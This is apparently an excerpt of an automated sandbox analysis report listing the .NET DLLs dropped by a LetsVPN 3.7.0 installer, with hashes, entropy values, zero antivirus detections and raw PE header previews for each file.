SSDEEP:	12288:LBja5bBvR8Q0TE2HB0WLmvXbsVG1Gw03RzxNHgKhwFBkjSHXP36RMGy1NqTUlN:LBjk38WuBcAbwoA/BkjSHXP36RMGqN
MD5:	CD19379184933C8468A024589A8128C6
SHA1:	7A51DB0EA0963247BAF5B84A53C2E5C3C43DD23E
SHA-256:	DBF453EC23731D025844C860471C82ECFE97A0398D218E0C3776C45008DE2D26
SHA-512:	BF4B7D3B798BD8D46843BB31975822BE65DA36A1F029D5CC6EF196D82FD6A53A042F71BE806C993E4D78A299DEDAE241081D5DE9129A576BF1D6F3D5C43AED34
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...p$?..........." ..0.............B.... ........... ....................... .......w....`....................................O........................+.......... ...T............................................ ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B................$.......H.......x...(9............................................................(......(....^.(...........%...}....:.(......}....:.(......}......(....:.(......}......{......(......(....:.(......}......{.....(.............}.....(......{.....X.....}......0...........-.~.....~....X....b...aX...X...X..+....b....aX....X.....2.....cY.....cY....cY..\|....(......._..{........+,..{\|....3...{{......(....,...{{.....{}.......-.....0...........-.r...ps....z.o......-.~.....~....

C:\Program Files (x86)\letsvpn\app-3.7.0\NuGet.Squirrel.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	521192
Entropy (8bit):	6.045616558098013
Encrypted:	false
SSDEEP:	6144:TRKflaWVRA6+LX9c1t3HpbOmhYIeDUQjcaPlq1fQx7NqEaElDp3sL2blV/VyUd9J:TRt6+A1pbOsBQAa4f0pWSbb+1ikju
MD5:	D0FB51F0061ECBAA41B19352E1F6997C
SHA1:	C7BA87D90941451D01E920825949EB9556640F5B
SHA-256:	864975ADDAD8B55B715CDBE05DF4490DA07001A017464A61C36FDB69D9D1C320
SHA-512:	3E5C00370D012F35EF2324770D32CD030E0D0664821DAF074EC267EA83E0D05A3E9D7E6B58229B86192E53E0E5BD637F6801199DE4D54200F35E9BD00474F43F
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....p_.........." ..0.................. ........... ....................... ............`.....................................O........................+........................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......Xw...............r...i............................................{E.....{F...V.(G.....}E.....}F......0..;........u1.....,/(H....{E....{E...oI...,.(J....{F....{F...oK..... .... )UU.Z(H....{E...oL...X )UU.Z(J....{F...oM...X.0..b........r...p......%..{E......%q4....4...-.&.+...4...oN....%..{F......%q5....5...-.&.+...5...oN....(O.....{P.....{Q...V.(G.....}P.....}Q....0..;........u6.....,/(H....{P....{P...oI...,.(J....{Q....{Q...oK..... .2;. )UU.Z(H....{P...oL

C:\Program Files (x86)\letsvpn\app-3.7.0\PusherClient.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	53736
Entropy (8bit):	6.293200989875825
Encrypted:	false
SSDEEP:	768:72xghQUndJrmbnJAM6LjB4Mz5k+/FdS0/MuLs/09P2XAw/KENAMxagq:7GghQaJiFAMAhH/Dw/09OXAwrxo
MD5:	D194499A718694BBC382BCF74C84DEBF
SHA1:	19FCD65F44A2CAE3A3CFE693AA8F026AFC75DEAA
SHA-256:	7C70367AF1E84DC33A248054AC9CD17065E769790B7ED5AD66CB34D4F41CA55F
SHA-512:	4A8FC901F0A45419E22E569ACDACF430D0B9877ACA64032FF467B43056F46D5FB9EAD62C185BE34CBA21829E24101EA29D94BC8F712B02B35A6EB079BE9B4186
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................" ..0................. ........... ...............................l....`.....................................O.......D................+..............T............................................ ............... ..H............text........ ...................... ..`.rsrc...D...........................@..@.reloc..............................@..B.......................H........M...o............................................................{......{......{....r.(......}......}......}........0..S........u......,G(.....{.....{....o....,/(.....{.....{....o....,.(.....{.....{....o.......0..K....... ..,. )UU.Z(.....{....o....X )UU.Z(.....{....o....X )UU.Z(.....{....o....X..0..{........r...p......%..{.............-.&.+.......o ....%..{.............-.&.+.......o ....%..{.............-.&.+.......o ....(!.....{"...:.(......}"......0..#...

C:\Program Files (x86)\letsvpn\app-3.7.0\SQLite-net.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	104424
Entropy (8bit):	6.208499781200954
Encrypted:	false
SSDEEP:	1536:xdAKzGN0ifSJxFlm+FpoHloqUIdmJlllf07gllfUzb1kUyN1e/rWhsCMbdynBQAu:hbcl5mJlllf07gllfUzb6W/+b+OQhdR
MD5:	25ED2EE8D2A675AA955F33CAB636E1AB
SHA1:	FFAFF053B438C161527E350D42BDB10ABA3032BB
SHA-256:	47FDBC68646272D69C22117F0CF80A04D7A5920B8EC255BAA1E331AB33EF4D43
SHA-512:	A8BAFC715468B233252CED53F5301FC527D503A9A303B4495578C8E5610A0AA8ED159BDEF0615D34CBB9365F90D123CF535120F3D31D9EF0EECBD14C267F2D7A
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...#............" ..0..b..........&.... ........... ..............................u.....`.....................................O....................l...+........................................................... ............... ..H............text...,`... ...b.................. ..`.rsrc................d..............@..@.reloc...............j..............@..B........................H.......@...x.............................................................{...."..}....>..(......(...."..s......{...."..}..........(......0..?.......s........}\|......(.....,%.{\|...,...o...........s....(...+(...."..s....*....s....R.o.....o......s......{...."..}......{!..."..}!.....{"..."..}".....{#..."..}#.....{$..."..}$.....{%..."..}%.....{&..."..}&.....{'..."..}'.....{(..."..}(.....{)..."..})...rs................. ...(......0..................

C:\Program Files (x86)\letsvpn\app-3.7.0\SQLiteNetExtensions.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	48616
Entropy (8bit):	6.233289942282731
Encrypted:	false
SSDEEP:	768:fqRdLDFPhe5rHMgWVCMlh8Xlrmyac4yPeZrZ3rAw/KENAMxUP:fqRdL3e5rHMgWVTnyac4oeZrZ3rAwrxm
MD5:	C61BED81031664A04615FA8E339D7F3F
SHA1:	10255DD6E08401651BE73F44EE8C1294A2EBB3DB
SHA-256:	699B8E0D5A53D9CD2B6C297F3F22B73AEFCE357D18D8460F5620367530163117
SHA-512:	9BEA999CC3C280BE177BD76F9E75B40D2988B531022614475FEE4EE6C592495BC147E66DC50F22A35D2C038EE599D7B6F444BB8810DC7B093C644B69680B93C8
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...:. Z.........." ..0.................. ........... ...............................I....@.....................................O.......L................+..........\|................................................ ............... ..H............text........ ...................... ..`.rsrc...L...........................@..@.reloc..............................@..B.......................H........K...Y............................................................{......{....V.(......}......}.......0..;........u......,/(.....{.....{....o....,.(.....{.....{....o...... ...E )UU.Z(.....{....o....X )UU.Z(.....{....o....X.0...........r...p......%..{.....................-.q.............-.&.+.......o.....%..{.....................-.q.............-.&.+.......o.....(......{...."..}......{...."..}......ra..p......%...%...%...(....( ......0..M........o...+..,...

C:\Program Files (x86)\letsvpn\app-3.7.0\SQLiteNetExtensionsAsync.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	24552
Entropy (8bit):	6.577215048741679
Encrypted:	false
SSDEEP:	384:390wriHD7R3d4Q5ENmiL31SAAh1OSxJJssUJqgG/232nd4l4ueR8pwKANynsAw/m:t0w2j7R3d4Q5ENmiL31SAAh1OSxJJssK
MD5:	DF2B552517DFECF5D14AC9E6D929E5C4
SHA1:	E83E58A062FAC0EC00F119FD25A979C2BC658BE7
SHA-256:	FB72CD95421333B5B95323B845D47F1BB9A141717F6BD65DAC8AC4943AD6473C
SHA-512:	56BE9BCEE791CC87993BE1A4DCF599C09F7C966ED453486DDA163461EE799B0EFA2E73F7CAAD5B4C02FAFA8EF1F9647F0CB9B055818D57BFBA0FFC595315ABF0
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....g..........." ..0.............H... ...`....... ....................................@..................................G..O....`..\|............4...+...........F..T............................................ ............... ..H............text....(... ..................... ..`.rsrc...\|....`.......,..............@..@.reloc...............2..............@..B.................G......H.......8)...............................................................0..:.......s.......}......}......}......}...........s.....{....(...+...0..:.......s.......}......}......}......}...........s.....{....(...+...0..:.......s.......} .....}!.....}".....}#......$...s.....{ ...(...+...0..:.......s%......}&.....}'.....}(.....}).........s+....{&...(,......0..B.......s-.......}......}/.....}0.....}1.....}2......3...s+....{....(,...F...(...+...(...+*.0..B.......s5.......}6.

C:\Program Files (x86)\letsvpn\app-3.7.0\SQLitePCLRaw.batteries_v2.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	17384
Entropy (8bit):	6.8204171824466115
Encrypted:	false
SSDEEP:	384:o6x4u20pwKANynsAw/98E9VF3AM+ouJhPL:oEoAw/KENAMx81L
MD5:	4416E30C112ECB4136C824C941D77B5F
SHA1:	0F621BC7D93752473DB7D46DD7F83E568EA02094
SHA-256:	AE70D745712E69F4D52120262FA75FB068EB904494EF7D93AB02677C63D55529
SHA-512:	82CB0259A7F711A8A59C656DB5F00A6DC29658468154ACD32CA6A57664155321E5B6FDA5E00118CF21A60B28BA0F9FFD522A2733743A906AE376B85434B2278D
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................." ..0..............,... ...@....... ..............................3.....@..................................+..O....@..X................+...`.........T............................................ ............... ..H............text........ ...................... ..`.rsrc...X....@......................@..@.reloc.......`......................@..B.................+......H........ ..<...................(.......................................(......0...............(....o........(....s.......0............(.......(....s....(....2r...p.(....:.(......}.......0...........{.......(....,..~....*BSJB............v4.0.30319......l.......#~..,...x...#Strings............#US.........#GUID.......p...#Blob...........W..........3..........................................................9.........[...............................c.....c...{.c...>.c.....

C:\Program Files (x86)\letsvpn\app-3.7.0\SQLitePCLRaw.core.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	57832
Entropy (8bit):	6.288628643041189
Encrypted:	false
SSDEEP:	768:00GhwEvUmz5IR5tUe9CiXmEkzKeGIsNif11gNsNj8cIjqabdAw/KENAMxLo:WlIR56kCckz2DhiNIchabdAwrxLo
MD5:	8CC90AC3DF5B242BC1B6C139471636AD
SHA1:	4CFD6FD66F175965F88EEDBF0606257045DFFF96
SHA-256:	5D09A954FB3B731FD2C98E813383878DCA0DBD50FE8A077982B34121FF7CFB25
SHA-512:	5125304805504F381E6ED2B654F21E3A371D1C8D8992011874163A788A642F4D5049B12D8E914E879ED3105977057B411CBE7229D0759BF4389A60F83D4D2C62
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....d............" ..0.............B.... ........... ....................... .......F....@.....................................O.......(................+..............T............................................ ............... ..H............text...H.... ...................... ..`.rsrc...(...........................@..@.reloc..............................@..B................".......H........=.....................t.........................................(......(......(...........Z~....,..o...&.............b~....-.r...ps....z~.....(#...o ....0..........(#......o!.....(....Q6.(.....(%....0..........(#........o".....(....QR.(.......(....('...:(#......o'...N.(.....(.....()...2(#....o#...2(#....o$.....o......o....2(#....o%...2(#....o&...6(#.....ok......0..........s.......}.....{....-...+........s.......(1...6(#.....ol...*6..(....(3..

C:\Program Files (x86)\letsvpn\app-3.7.0\SQLitePCLRaw.nativelibrary.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	20968
Entropy (8bit):	6.699045541869867
Encrypted:	false
SSDEEP:	384:obX0gijditBKMBRBHsEQO7pwKANynsAw/98E9VF3AM+oHIE0yOk:obkVRiBB8fAw/KENAMxos
MD5:	AE6F980FE42E63162BD1AB7D94F5199F
SHA1:	6B2439C5223E183B38978FD3E038098D752D8E01
SHA-256:	41DE3C76987D109A780739466F04170A40F1F56BFF85D303A977E97EDBC351EE
SHA-512:	03BF0B8C15E1FCBA3D82A0BF7121F973512DF9774D27DF2AB07C6B434374E506E90A878920392A809EC1118FBB521C1FCC5C695CE3EF834E5AED23940A24C227
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....D............" ..0..............:... ...@....... ..............................].....@.................................X:..O....@..d............&...+...`......L9..T............................................ ............... ..H............text........ ...................... ..`.rsrc...d....@......................@..@.reloc.......`.......$..............@..B.................:......H........%.......................8.......................................0..K..........~....%-.&~..........s....%.....(....%~....(....,.r...p.r...p(....s....z..0..#.......(......-...(......3...(....s....z...(....%~....(....,.r)..p.r...p(....s....z..0..#.......(......-..(....&..3..(....&s....z..0..7..........~....%-.&~..........s....%.....(.........~....(......0............(.........~....(......E................+$r9..p.(....rI..p.(....rc..p.(....*s....z...0..........

C:\Program Files (x86)\letsvpn\app-3.7.0\SQLitePCLRaw.provider.dynamic_cdecl.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	68072
Entropy (8bit):	6.049924534036129
Encrypted:	false
SSDEEP:	768:lMXMG2QW0RgqGlel80eX3xFhofnnN+HHHHns6sbEpyqJW6N0dAw/KENAMxWcl:W2UTGlel80eXSfnUnM6sbwXN0dAwrxWw
MD5:	26245B224B16C166E34E0A661955967F
SHA1:	FE19DAA54D713BA1C1D4A2ED53C917823DE489CC
SHA-256:	DC15D11946CBD1A3AC40925AD882F1256447B89BD7D0B07293C93FA7F80892FB
SHA-512:	16DBD1C9443A140A04BE4B39B83EA1E28A73842C35430213506A12576B5808D7A6834A64D9895C0F7A54AA8BC8D72FB1AEE5C07BC2B8CF9D0D2DD7FA0B01D592
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..............." ..0.................. ........... .......................@......a.....@.................................R...O........................+... ......4...T............................................ ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc....... ......................@..B........................H.......dB..P...........................................................6.......(.....~....F~H......on......N........s....o...+..0............(........~......o.....0............(........~I.....or....0..%.........(..........(........~J.......ov.......0..H.........(..........(........~K....oz............(....(.........{........o....2~#....o....2~"....o....2~F....of...6~G.....oj...:~H......on...2~$....o....2~%....o....>.(.......o.......0..N........,........s.....

C:\Program Files (x86)\letsvpn\app-3.7.0\SharpCompress.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	465384
Entropy (8bit):	6.220618457714342
Encrypted:	false
SSDEEP:	6144:GcGv7iCPwqEYosfdBtmXaxWoXY06nQk2zLRC+oRZkR4CDy2sqIT0czXYhlmW:a+CoCoCBtmXWnL6nd2ZiUR4WylT0q+l9
MD5:	0EAF9C30663A37A1439B910E81998F26
SHA1:	E22B93C32221F94826408527E9140CE4B652D673
SHA-256:	97B9453A756E2F68DAFF234ABE454EB761834E8AB33802C7C9A110CC83097DDE
SHA-512:	60020C564BACF440F347676F1E70721CB1EE1392C2114021EB85BD36DF959897FE929023752D7F0C969C5E083E9ECD9F52473C15F2CE8867FBDBA3FF1A55E732
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...._]..........." ..0.............v.... ... ....... .......................`.......]....`.................................$...O.... ...................+...@..........8............................................ ............... ..H............text........ ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B................X.......H........f..D[............................................................(G..."..(H...&...(I.....(...."..(....&...(....r.,.~......~...... ...._X..n.,.~.....~...... ...._X..R..2.~.... .....X..F..2.~.....h.X..R..2.~.... .....X..R..2.~.... .....X...0..A.........{.......a}......{.......a}......{.......a}......{.......a}........0..(..........?_d....1...n_....{.....Y.?_b`.{...._.0..@..........{.......(....}.......{.......(....}.......{.......(....}....*.0..5...

C:\Program Files (x86)\letsvpn\app-3.7.0\Squirrel.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	278504
Entropy (8bit):	6.051539256474112
Encrypted:	false
SSDEEP:	6144:9bwZzM/arIPizbgQtYYYncnWDOsksHgtBwsbe+/ubhg:mzM/arIPizxUncQfZH7g
MD5:	9DD11CCB6AD5E68B47F7145EF2398513
SHA1:	E8A3FB83E34516CABF8A04DE0658CE9D184751B2
SHA-256:	59D8C72994391AE5AF2E261918055C04F843A4CD193C8F010F509E2FE27E6B3B
SHA-512:	D2A0C07EC1D4E658E0D99DD9326F79CE652A8A1EFBC530890CF9AECC62B984535DBE28D887E04A3692F088FFFE5A5DFF8284F1C3F759EB45A9636092ECA54E0E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................." ..0................. ...@....... ....................................`.................................e..O....@...................+...`......x)..T............................................ ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.......................H.......X... .............................................................{0.....{1...V.(2.....}0.....}1......0..;........u......,/(3....{0....{0...o4...,.(5....{1....{1...o6..... ... )UU.Z(3....{0...o7...X )UU.Z(5....{1...o8...X.0..b........r...p......%..{0......%q.........-.&.+.......o9....%..{1......%q.........-.&.+.......o9....(:...V!..../c...s;..........{...."..}......{...."..}......{...."..}......{...."..}......{...."..}......{...."..}......(2.....

C:\Program Files (x86)\letsvpn\app-3.7.0\SuperSocket.ClientEngine.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	53224
Entropy (8bit):	6.1911084320327205
Encrypted:	false
SSDEEP:	768:MDGXmBiIOJv2IIXs4UOPhbY+m/rihAt5A8o4/aBS8XpTt/yO0yFtAw/KENAMxHl:MDGXmBiXanx+zehk/WpB/yO0yrAwrxHl
MD5:	53B6BC74F76CF41B93EA8CE98B3E0AAB
SHA1:	BEC0CC1B8C65B6045E359AA509DCDC5D354D0B47
SHA-256:	0F9779F08B4EC49BB884C7B2784268AEC1108A3A9E97FD6FF6628BA5C7AF2929
SHA-512:	2A1C67AC8166B5EB9D7641653C7A8DBB831B61FEAEA6638470DB552B8B4BB0CE55C2FAFBAD5F139CCA126DC32A8388141FE5AD46C64D34EC623592B274D53FF7
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...h@qZ.........." ..0.............~.... ........... ....................................`....................................O........................+........................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B................^.......H........O...g..................(.......................................&...(....6.......(....:........(.......~....%-.&~..........s....%.....(......0..@........(....s.......o......}.....s....}.....{......i.....o......}.....0..............(.....`,........0..Q.........R.{....u......o......{ .......i2...R...{........\| .....X.(!....................0..............("....`,........0............R.{....u......o......{ .....o#......X......i1...R...{........\| ......(!.....

C:\Program Files (x86)\letsvpn\app-3.7.0\System.AppContext.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.868995697038425
Encrypted:	false
SSDEEP:	384:5DNxWQFWZLpwKANynsAw/98E9VF3AM+o1MTurx:5DNV3Aw/KENAMxKC
MD5:	590803CA6E22888F80D0B49BEC315C3A
SHA1:	1030CE4C1C1E3E9A591195C1CEA702715CE9CAB5
SHA-256:	BC6C2FA37D1890C3D164E92478BA83FAA22D7A348550AD095296ABB195D1416C
SHA-512:	B612F5DEEB092F453A4CBD4F5052E09CCDF02D331E8FE593613091E564A83B9653276AEAA785717F1CF61A97E9DD822FE638DF98D7679E3438DDD00C2BA43F56
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...?..Y.........." ..0.............f(... ...@....... ....................................@..................................(..O....@...................+...`.......&............................................... ............... ..H............text...l.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................H(......H.......P ......................\&......................................BSJB............v4.0.30319......l...\|...#~..........#Strings............#US.........#GUID...........#Blob......................3......................................z...............\.....0...........D.................C.................[.....x.....-.........................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.....K.N...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Buffers.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	23016
Entropy (8bit):	6.722097829825641
Encrypted:	false
SSDEEP:	384:vrMdp9yXOfPfAxR5zwWvYW8a+YpwKANynsAw/98E9VF3AM+oSrWKb7kZL:vrMcXP6zAw/KENAMxXv9
MD5:	A02D9353B59A4751F8AEA5C46BD01906
SHA1:	FC1D3BAAF9CABD5B0356207A38D703471F39B8EB
SHA-256:	F95E7C7D6D4EB85D4B3745C69E72EAEE76BABA707611B917417AAAC6B8C8EF94
SHA-512:	C16F1866E131E2BCB713EF7701C9E7C695E25764DAA03CDE7888B141129F0F71266CF8B163B048415E4404D87648198B6EC09D7D7D3C520FB8E8E8B93A087F29
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....jM^.........." ..0..$..........BC... ...`....... ..............................n.....@..................................B..O....`..@................+...........A............................................... ............... ..H............text...H#... ...$.................. ..`.rsrc...@....`.......&..............@..@.reloc...............,..............@..B................$C......H........'...............?..X...8A......................................j~....%-.&(....s....%..........0..$.........(.....o.......&...,....o....,.....................,!(....,..r...p.(....(......(......(....,.r...p......%...%...(......(.....(....,.r...p......%...%...%...(.......(.....(....,!r...p......%...%...%...%...(........(.....~....2r...p.(....B.....(.........R.....(...+%-.&(!...^.....("....(...+&~.....s$..."..s%.....(&........0......................

C:\Program Files (x86)\letsvpn\app-3.7.0\System.CodeDom.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	30184
Entropy (8bit):	6.332226298486135
Encrypted:	false
SSDEEP:	384:3dgrnDxt3942O1NEIY3lzZIcKBxehzsCtZ7U6r1fDXJx/WpuW04pwKANynsAw/9t:tgXxtu5jEIYDhzZpmWAw/KENAMxnxD
MD5:	02741B04DB92F7B05B348AFA6A3762DC
SHA1:	28BD58F1C25802E8DD3509DD12B480A601B24A56
SHA-256:	5E765817CE1728AA3C601ED29C3053F1D31F902843E927B466EB4A69BD6A3C5F
SHA-512:	02D3591509AA913A4AA4B6327F4F7D353665B0F01D3C96A9B2E58653BCC828757B2CD8ACD94905F8811936DC58C0BADB457566A6D55C19DB12724503B4A881B2
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...dP'..........." ..0..>..........\... ...`....... ..............................Rf....`..................................[..O....`...............J...+...........[..T............................................ ............... ..H............text...0<... ...>.................. ..`.rsrc........`.......@..............@..@.reloc...............H..............@..B.................\......H........#...)...........L.......Z.......................................~......0..........(....,....(.....o.......&......................0...........(.......(....-..,....(....,.r...p......%...%...(......(.....(....,.r...p......%...%...%...(.......(.....(....,!r...p......%...%...%...%...(........(......,&(....,..r...pr...p.(....(......(......(....,.r...p......%...%...(.......(.....(....,.r...p......%...%...%...(........(....*.(....,"r...p......%...%...%...%..

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Collections.Concurrent.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.954767949758013
Encrypted:	false
SSDEEP:	384:Lm2igOWnW8rWCfpwKANynsAw/98E9VF3AM+oagS7:bt6Aw/KENAMxY7
MD5:	FB02078309057452174BD0C682250F08
SHA1:	E8F475D956FE988F0D3B07D20C86F2D729707246
SHA-256:	0B80C0CC327DBB8CD142DA35FB4385C704DE0424ED3798E15ED23AAA13D71E4F
SHA-512:	8E3CE570069777B2CD9D33F6D9E4D3EEEA357C816ABE24C2E359A6CE3ABF55B28B4280C8DE4B3E00018366CAC01151B6D04F0F947F93F8F6701BDB5C325BE407
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...?..Y.........." ..0..............)... ...@....... ..............................v.....@.................................t)..O....@..D................+...`......<(............................................... ............... ..H............text........ ...................... ..`.rsrc...D....@......................@..@.reloc.......`......................@..B.................)......H.......P ..l....................'......................................BSJB............v4.0.30319......l.......#~..d.......#Strings....@.......#US.D.......#GUID...T.......#Blob......................3................................................n.o.....o.....\...........8...3.8...P.8.....8.....8.....8.....8.....8.....1.....8.................V.....V.....V...).V...1.V...9.V...A.V...I.V...Q.V...Y.V...a.V...i.V...q.V.......................#.....+.....3.....;.....C.:...K.Z...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Collections.NonGeneric.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.949449681177467
Encrypted:	false
SSDEEP:	384:Jqnapn1iwwPWcGWeRpwKANynsAw/98E9VF3AM+ooMY6XX:nDu9Aw/KENAMxMy
MD5:	D3173DFEDA64755B2E88329BA521A801
SHA1:	50345FA89691566C305F6813E7F090063BB4B5CE
SHA-256:	A60CD3F791865B52A62F015E293A44FCEEC922618D06FE4AB1B90642D770F30D
SHA-512:	12BBF2474C13CC7CA99F9EFD8604F7CB6A3FCFB769B9B404AAFF148DDB6EB06D0B12F4014F0FBF1780CD78832A1CF66EA5D662DBF55D4993865DA35FD8003035
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0..............)... ...@....... ...............................,....@.................................p)..O....@..@................+...`......8(............................................... ............... ..H............text........ ...................... ..`.rsrc...@....@......................@..@.reloc.......`......................@..B.................)......H.......P ..h....................'......................................BSJB............v4.0.30319......l.......#~..t.......#Strings....<.......#US.@.......#GUID...P.......#Blob......................3................................................F.o.....o.....\...........,.....,...(.,.....,...f.,.....,.....,.....,.....%.....,.................V.....V.....V...).V...1.V...9.V...A.V...I.V...Q.V...Y.V...a.V...i.V...q.V.......................#.....+.....3.....;.....C.:...K.Z...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Collections.Specialized.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.9572138486630015
Encrypted:	false
SSDEEP:	384:IHLaEav5aaUa6arWVLWm2pwKANynsAw/98E9VF3AM+oS8L:FPv5t/NOTAw/KENAMxR
MD5:	6D59D66B69AA9B2EBED4DF7EDB962A02
SHA1:	7A7DB5C892C23FDF7B2E8A6D7ED15BFF358E4A80
SHA-256:	BF99E4F0DCB690CAB2A19BA10401B945EB9C1D3C1171DE59C5494619EFD2E4FE
SHA-512:	15D74063B81295D72DC5D63A91C8EC948ABCB35A9476A6A82067B59E0B391ED6423D6985E687BCBF0F7FD2A993903E5875EB0AAB288E01FEBB15B964F68C0243
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
